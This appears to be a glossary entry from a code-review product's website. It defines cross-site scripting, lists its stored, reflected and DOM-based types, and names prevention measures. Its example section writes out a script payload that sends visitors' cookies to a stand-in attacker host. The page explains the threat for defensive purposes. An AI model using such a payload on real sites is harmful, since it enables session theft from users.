. When other users view the comment, their cookies are stolen."}}]}
返回术语表
安全

XSS (Cross-Site Scripting)

A security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session cookies, credentials, or performing actions on behalf of victims.

定义

XSS attacks occur when an application includes untrusted data in a web page without proper validation or escaping. Three main types exist: Stored XSS (malicious script permanently stored on target server), Reflected XSS (script reflected off web server in error messages or search results), and DOM-based XSS (vulnerability exists in client-side code). XSS is ranked #7 in OWASP Top 10.

为什么重要

XSS attacks can steal user sessions, deface websites, redirect users to malicious sites, and spread malware. Major companies like Twitter, Facebook, and Google have all had XSS vulnerabilities discovered. Prevention requires output encoding, Content Security Policy (CSP), and automated scanning in code reviews.

示例

A comment system displays user input without escaping. An attacker posts: <script>document.location="http://evil.com/?c="+document.cookie</script>. When other users view the comment, their cookies are stolen.

相关术语

XSScross-site scriptingwhat is XSSXSS attackXSS vulnerability

使用diffray自动化代码审查

多智能体AI代码审查系统。自动发现bug、安全漏洞和架构问题。